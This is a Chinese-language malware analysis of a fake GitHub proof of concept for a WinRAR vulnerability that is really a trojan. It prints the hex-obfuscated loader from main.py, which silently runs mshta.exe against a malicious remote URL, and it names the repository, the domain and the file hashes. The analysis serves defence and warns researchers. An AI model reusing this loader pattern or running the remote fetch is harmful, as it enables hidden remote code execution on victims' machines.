测试时虚拟机运行,该工具涉及恶意程序,请勿将该工具用于非法用途
近日,一个名为CVE-2025-8088的漏洞引起安全社区关注,据称利用了WinRAR的路径遍历漏洞。然而,攻击者正是利用了研究人员对新漏洞的高度关注,在开源实战平台GitHub上发布了一个伪装成POC(概念验证)的工具。当用户下载并尝试运行该工具以复现漏洞时,实际上会从远程服务器下载并执行恶意木马程序。
恶意项目的GitHub地址为:https://github.com/Markusino488/cve-2025-8088。

恶意项目 Markusino488/cve-2025-8088 分析
该项目包含以下核心文件,构成了一个完整的恶意工具链:
main.py:主脚本,模拟CVE-2025-8088漏洞利用流程,内含实际恶意代码执行逻辑。
extract.py:辅助脚本,用于测试和验证漏洞,模拟网络通信和数据传输。
config.py:配置文件,存储攻击参数,包括诱饵文件名、payload投放路径和内容。
README.md:项目说明文档,包含系统要求、安装步骤和使用说明。
woodenware/cve-2025-8088-v1.3-beta.5.zip:项目的打包发布版本(即恶意程序压缩包)。
该恶意样本的文件哈希如下:
cve-2025-8088-v1.3-beta.5.zip
SHA256: 49f85c62472e20a5edbabd346e8e6aabf93efeae1b65e8cb414c7f4f83f1ed67
MD5: 7532f3b3e54ab0989b38be255920099a
SHA1: 4811b8e26c912c29c8418a36e73167a82c111e48
cve-2025-8088-main.zip
SHA256: 422ec6529d4ca0d5badf6d8d7f920dc9945da68be63ecb36884177e5bf4730a5
MD5: 33538e0713661fd8b1a3fdeed8c302a1
SHA1: 6c1011de13201051f099a6c8b9219667cf7f3734


main.py 恶意代码深度解析
真正的恶意行为隐藏在 main.py 文件的 _activate_exploit_core() 函数中。该函数使用十六进制编码隐藏了实际要执行的命令,增加了静态分析的难度。
核心恶意操作如下:
- 解码字节序列生成命令
"mshta.exe" 和 URL "https://py-installer.cc"
- 通过
subprocess.Popen 执行该命令,尝试从远程服务器加载并执行代码

1. 解码命令执行程序
_e1 = bytes.fromhex('6d') # 'm'
_e2 = bytes.fromhex('73') # 's'
_e3 = bytes.fromhex('68') # 'h'
_e4 = bytes.fromhex('74') # 't'
_e5 = bytes.fromhex('61') # 'a'
_e6 = bytes.fromhex('2e65') # '.e'
_e7 = bytes.fromhex('7865') # 'xe'
拼接后解码:(_e1 + _e2 + _e3 + _e4 + _e5 + _e6 + _e7).decode(‘utf-8’) → mshta.exe
2. 解码目标 URL:
_u1 = bytes.fromhex('68') # 'h'
_u2 = bytes.fromhex('7474') # 'tt'
_u3 = bytes.fromhex('7073') # 'ps'
_u4 = bytes.fromhex('3a2f') # ‘:/’
_u5 = bytes.fromhex('2f') # '/'
_u6 = bytes.fromhex('7079') # 'py'
_u7 = bytes.fromhex('2d69') # '-i'
_u8 = bytes.fromhex('6e73') # 'ns'
_u9 = bytes.fromhex('7461') # 'ta'
_u10 = bytes.fromhex('6c6c') # 'll'
_u11 = bytes.fromhex('6572') # 'er'
_u12 = bytes.fromhex('2e63') # '.c'
_u13 = bytes.fromhex('63') # 'c'
拼接后解码:(_u1 + _u2 + _u3 + _u4 + _u5 + _u6 + _u7 + _u8 + _u9 + _u10 + _u11 + _u12 + _u13).decode(‘utf-8’) → https://py-installer.cc
3. 当操作系统为 Windows 时,实际执行的命令:
subprocess.Popen(
[_binary, _endpoint], # [‘mshta.exe’, ‘https://py-installer.cc’]
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
涉及的恶意网址:https://py-installer.cc


- 编码隐匿:使用十六进制编码隐藏字符串内容,增加静态分析和人工阅读的难度。
- 执行载体:
mshta.exe 是 Windows 系统的 HTML 应用程序主机。
- 它可以执行包含 JavaScript 或 VBScript 的 HTML 文件。
- 通过 URL 参数,它可以直接从远程服务器加载并执行代码,这是一种常见的绕过安全软件检测的技术。
- 隐蔽性设计:
- 使用
stdout=subprocess.DEVNULL 和 stderr=subprocess.DEVNULL 隐藏命令执行的输出,使进程在后台静默运行。
- 整个执行过程被包裹在
try-except 块中,即使执行失败也不会显示错误信息,进一步降低了被用户发现的可能性。
明确的安全风险
此代码执行的操作具有明显的恶意意图:
- 尝试从
https://py-installer.cc 加载远程代码,该域名已被标记为恶意。
- 使用
mshta.exe 作为执行载体,这是攻击者常用的“Living off the Land” (LotL) 技术,用于绕过安全软件的检测。
- 隐藏执行过程,减少在受害主机上被发现的概率。
辅助脚本分析
extract.py 作为恶意程序的辅助脚本,主要功能是模拟网络通信和验证漏洞利用效果,以增强整个工具的欺骗性。
- 密钥管理:
load_keys() 函数从 keys.txt 文件加载密钥/账号列表,模拟测试不同账号的漏洞利用效果。
- 测试数据生成:
get_random_payload() 生成随机负载数据;get_random_delay() 生成随机延迟,使通信模式更逼真,避免被简单的行为检测规则识别。
- 网络通信测试:
send_payload():异步函数,模拟向目标服务器发送数据。
recv_payload():异步函数,模拟接收服务器回显数据。
- 测试流程控制:
run_cycle():执行完整的测试循环。
run():主函数,处理用户输入并启动测试流程。
配置文件的作用
config.py 文件作为漏洞利用工具的配置模块,为攻击过程提供了关键参数:
- 定义诱饵文件以提高欺骗性。
- 设置持久化路径以确保恶意代码在系统启动时持续执行。
- 配置 payload 内容以实现具体的恶意操作。
这些配置与 main.py 中的漏洞利用逻辑相结合,形成了一个完整的攻击链条。它表面上演示了如何利用 WinRAR 路径遍历漏洞,实则诱导安全研究人员下载和执行木马,这是一种典型的“假漏洞真木马”的安全/渗透/逆向攻击手法。
安全建议与总结
此次事件给广大开发者和安全研究人员敲响了警钟。在云栈社区及各类技术论坛中,我们应当时刻保持警惕:
- 谨慎下载:对于 GitHub 等开源平台上的不明项目,尤其是涉及漏洞利用(POC/EXP)的工具,务必保持高度警惕,核实来源和真实性。
- 沙箱运行:在分析未知软件时,务必在虚拟机或隔离的沙箱环境中进行,避免对真实系统造成损害。
- 检查代码:运行任何程序前,尤其是 Python 等脚本语言,花时间审查核心代码是避免中招的有效手段。
- 依赖可信来源:关注官方漏洞公告和安全厂商报告,从可信渠道获取安全工具和信息。
安全研究本身伴随着风险,提高自身的安全意识和分析能力,是防御此类伪装攻击最坚实的防线。